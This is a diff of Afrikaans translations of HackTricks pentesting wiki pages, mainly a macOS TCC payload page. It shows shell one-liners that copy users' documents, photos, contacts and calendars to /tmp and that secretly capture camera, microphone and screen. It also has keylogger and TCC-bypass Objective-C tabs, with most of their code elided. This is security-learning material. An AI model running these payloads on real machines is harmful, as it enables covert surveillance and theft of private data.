Daar is egter steeds gereedskap wat gebruik kan word om hierdie soort uitvoerbare lêers te verstaan, [**lees hierdie navorsing vir meer inligting**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Die gereedskap [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) met [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sal baie nuttig wees om te verstaan hoe die skrip werk.
|
||||
Daar is egter steeds 'n paar gereedskap wat gebruik kan word om hierdie soort uitvoerbare lêers te verstaan, [**lees hierdie navorsing vir meer inligting**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Die gereedskap [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) met [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sal baie nuttig wees om te verstaan hoe die skrip werk.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# macOS TCC Payloads
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Lessenaar
|
||||
### Desktop
|
||||
|
||||
* **Voorreg**: Geen
|
||||
* **Regte**: Geen
|
||||
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Objective-C" %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Desktop` na `/tmp/desktop`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -58,7 +58,6 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Desktop` na `/tmp/desktop`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||
```
|
||||
|
@ -67,13 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
|||
|
||||
### Dokumente
|
||||
|
||||
* **Bevoegdheid**: Geen
|
||||
* **Regte**: Geen
|
||||
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Documents` na `/tmp/documents`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -109,7 +107,6 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/`Documents na `/tmp/documents`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Documents" "/tmp/documents"
|
||||
```
|
||||
|
@ -118,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
|||
|
||||
### Aflaai
|
||||
|
||||
* **Bevoegdheid**: Geen
|
||||
* **Regte**: Geen
|
||||
* **TCC**: `kTCCServiceSystemPolicyDownloadsFolder`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="undefined" %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Downloads` na `/tmp/downloads`.
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -162,22 +156,20 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Dowloads` na `/tmp/downloads`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Foto's-biblioteek
|
||||
### Foto Biblioteek
|
||||
|
||||
* **Bevoegdheid**: `com.apple.security.personal-information.photos-library`
|
||||
* **Regte**: `com.apple.security.personal-information.photos-library`
|
||||
* **TCC**: `kTCCServicePhotos`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Pictures/Photos Library.photoslibrary` na `/tmp/photos`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -213,7 +205,6 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Pictures/Photos Library.photoslibrary` na `/tmp/photos`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||
```
|
||||
|
@ -222,13 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
|||
|
||||
### Kontakte
|
||||
|
||||
* **Bevoegdheid**: `com.apple.security.personal-information.addressbook`
|
||||
* **Regte**: `com.apple.security.personal-information.addressbook`
|
||||
* **TCC**: `kTCCServiceAddressBook`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC" %}
|
||||
Kopieer `$HOME/Library/Application Support/AddressBook` na `/tmp/contacts`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -264,7 +254,6 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Library/Application Support/AddressBook` na `/tmp/contacts`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||
```
|
||||
|
@ -273,13 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
|||
|
||||
### Kalender
|
||||
|
||||
* **Bevoegdheid**: `com.apple.security.personal-information.calendars`
|
||||
* **Regte**: `com.apple.security.personal-information.calendars`
|
||||
* **TCC**: `kTCCServiceCalendar`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Kopieer `$HOME/Library/Calendars` na `/tmp/calendars`.
|
||||
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -315,15 +303,20 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kopieer `$HOME/Library/Calendars` na `/tmp/calendars`.
|
||||
|
||||
```bash
|
||||
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Kamera
|
||||
|
||||
* **Regte**: `com.apple.security.device.camera`
|
||||
* **TCC**: `kTCCServiceCamera`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjetiveC - Opne" %}
|
||||
{% tab title="ObjetiveC - Opneem" %}
|
||||
Neem 'n 3s video op en stoor dit in **`/tmp/recording.mov`**
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -401,9 +394,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Kontroleer" %}
|
||||
Kontroleer of die program toegang het tot die kamera.
|
||||
|
||||
{% tab title="ObjectiveC - Check" %}
|
||||
Kontroleer of die program toegang tot die kamera het.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -437,22 +429,20 @@ fclose(stderr); // Close the file stream
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Neem 'n foto met die kamera
|
||||
|
||||
```bash
|
||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Mikrofoon
|
||||
### Mikrofoon
|
||||
|
||||
* **Toestemming**: **com.apple.security.device.audio-input**
|
||||
* **Regte**: **com.apple.security.device.audio-input**
|
||||
* **TCC**: `kTCCServiceMicrophone`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC - Opneem" %}
|
||||
Neem 5 sekondes van klank op en stoor dit in `/tmp/recording.m4a`
|
||||
|
||||
{% tab title="ObjetiveC - Opname" %}
|
||||
Neem 5 sekondes se klank op en stoor dit in `/tmp/recording.m4a`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -551,9 +541,8 @@ fclose(stderr); // Close the file stream
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ObjectiveC - Kontroleer" %}
|
||||
Kontroleer of die app toegang het tot die mikrofoon.
|
||||
|
||||
{% tab title="ObjectiveC - Kontrole" %}
|
||||
Kontroleer of die app toegang tot die mikrofoon het.
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -584,8 +573,7 @@ static void telegram(int argc, const char **argv) {
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Neem 'n 5s klank op en stoor dit in `/tmp/recording.wav`
|
||||
|
||||
Neem 'n 5s klankopname en stoor dit in `/tmp/recording.wav`
|
||||
```bash
|
||||
# Check the microphones
|
||||
ffmpeg -f avfoundation -list_devices true -i ""
|
||||
|
@ -595,19 +583,18 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Ligging
|
||||
### Plek
|
||||
|
||||
{% hint style="success" %}
|
||||
Om die ligging te kry, moet **Liggingdienste** (vanaf Privaatheid & Sekuriteit) **geaktiveer wees,** anders sal dit nie toegang daartoe hê nie.
|
||||
Vir 'n app om die plek te kry, **Plekdienste** (van Privaatheid & Sekuriteit) **moet geaktiveer wees,** anders kan dit nie toegang daartoe kry nie.
|
||||
{% endhint %}
|
||||
|
||||
* **Toekenning**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: Toegeken in `/var/db/locationd/clients.plist`
|
||||
* **Regte**: `com.apple.security.personal-information.location`
|
||||
* **TCC**: Toegestaan in `/var/db/locationd/clients.plist`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Skryf die ligging in `/tmp/logs.txt`
|
||||
|
||||
Skryf die plek in `/tmp/logs.txt`
|
||||
```objectivec
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
|
@ -658,22 +645,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
|
||||
{% tab title="Shell" %}
|
||||
Kry toegang tot die ligging
|
||||
|
||||
```
|
||||
???
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Skermopname
|
||||
### Skermopname
|
||||
|
||||
* **Toegekende regte**: Geen
|
||||
* **Regte**: Geen
|
||||
* **TCC**: `kTCCServiceScreenCapture`
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ObjectiveC" %}
|
||||
Neem die hoofskerm vir 5 sekondes op in `/tmp/screen.mov`
|
||||
|
||||
Neem die hoofskerm op vir 5s in `/tmp/screen.mov`
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <AVFoundation/AVFoundation.h>
|
||||
|
@ -730,21 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
|||
{% endtab %}
|
||||
|
||||
{% tab title="Shell" %}
|
||||
Neem die hoofskerm vir 5 sekondes op
|
||||
|
||||
Neem die hoofskerm vir 5s op
|
||||
```bash
|
||||
screencapture -V 5 /tmp/screen.mov
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Toeganklikheid
|
||||
### Toeganklikheid
|
||||
|
||||
* **Voorreg**: Geen
|
||||
* **Regte**: Geen
|
||||
* **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Gebruik die TCC-voorreg om die beheer van Finder se druk op enter te aanvaar en sodoende TCC te omseil.
|
||||
Gebruik die TCC-privilege om die beheer van Finder te aanvaar deur enter te druk en TCC op daardie manier te omseil
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Aanvaar TCC" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -797,9 +783,8 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Sleutellogger" %}
|
||||
Berg die gedrukte sleutels op in **`/tmp/keystrokes.txt`**
|
||||
|
||||
{% tab title="Keylogger" %}
|
||||
Stoor die ingedrukte sleutels in **`/tmp/keystrokes.txt`**
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <ApplicationServices/ApplicationServices.h>
|
||||
|
@ -907,19 +892,20 @@ return 0;
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Toeganklikheid is 'n baie kragtige toestemming, jy kan dit op ander maniere misbruik, byvoorbeeld jy kan die sleutelbord-aanval uitvoer net daarvan af sonder om System Events te roep.
|
||||
**Toeganklikheid is 'n baie kragtige toestemming**, jy kan dit op ander maniere misbruik, byvoorbeeld jy kan die **toetsdruk aanval** net daarvan uitvoer sonder om Stelselsgebeurtenisse te moet aanroep.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
|
@ -60,16 +61,17 @@ Ander maniere om HackTricks te ondersteun:
|
|||
{% embed url="https://ippsec.rocks/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Adb is gewoonlik geleë in:**
|
||||
|
@ -21,31 +22,31 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
|||
#MacOS
|
||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||
```
|
||||
**Inligting verkry vanaf:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
**Inligting verkry van:** [**http://adbshell.com/**](http://adbshell.com)
|
||||
|
||||
# Verbinding
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
Hierdie sal die gekoppelde toestelle lys; as "_**ongemagtig**_" verskyn, beteken dit dat jy jou **selfoon** moet **ontblokkeer** en die verbinding **aanvaar**.
|
||||
Dit sal die gekonnekte toestelle lys; as "_**onbevoeg**_" verskyn, beteken dit dat jy jou **mobiele** moet **ontsluit** en die verbinding moet **aanvaar**.
|
||||
|
||||
Dit dui die toestel aan dat dit 'n adb-bediener op poort 5555 moet begin:
|
||||
Dit dui aan die toestel aan dat dit 'n adb-bediener op poort 5555 moet begin:
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
Koppel aan daardie IP en daardie Poort:
|
||||
Verbind met daardie IP en daardie Poort:
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
As jy 'n fout soos die volgende kry in 'n Virtuele Android-program (soos Genymotion):
|
||||
As jy 'n fout soos die volgende in 'n Virtuele Android-sagteware (soos Genymotion) kry:
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
Dit is omdat jy probeer om te verbind met 'n ADB-bediener met 'n ander weergawe. Probeer net om die adb-binêre lêer te vind wat die sagteware gebruik (gaan na `C:\Program Files\Genymobile\Genymotion` en soek na adb.exe)
|
||||
Dit is omdat jy probeer om met 'n ADB-bediener van 'n ander weergawe te verbind. Probeer net om die adb-binary te vind wat die sagteware gebruik (gaan na `C:\Program Files\Genymobile\Genymotion` en soek vir adb.exe)
|
||||
|
||||
## Verskeie toestelle
|
||||
|
||||
Wanneer jy **verskeie toestelle aan jou rekenaar gekoppel** vind, sal jy moet **spesifiseer in watter een** jy die adb-opdrag wil uitvoer.
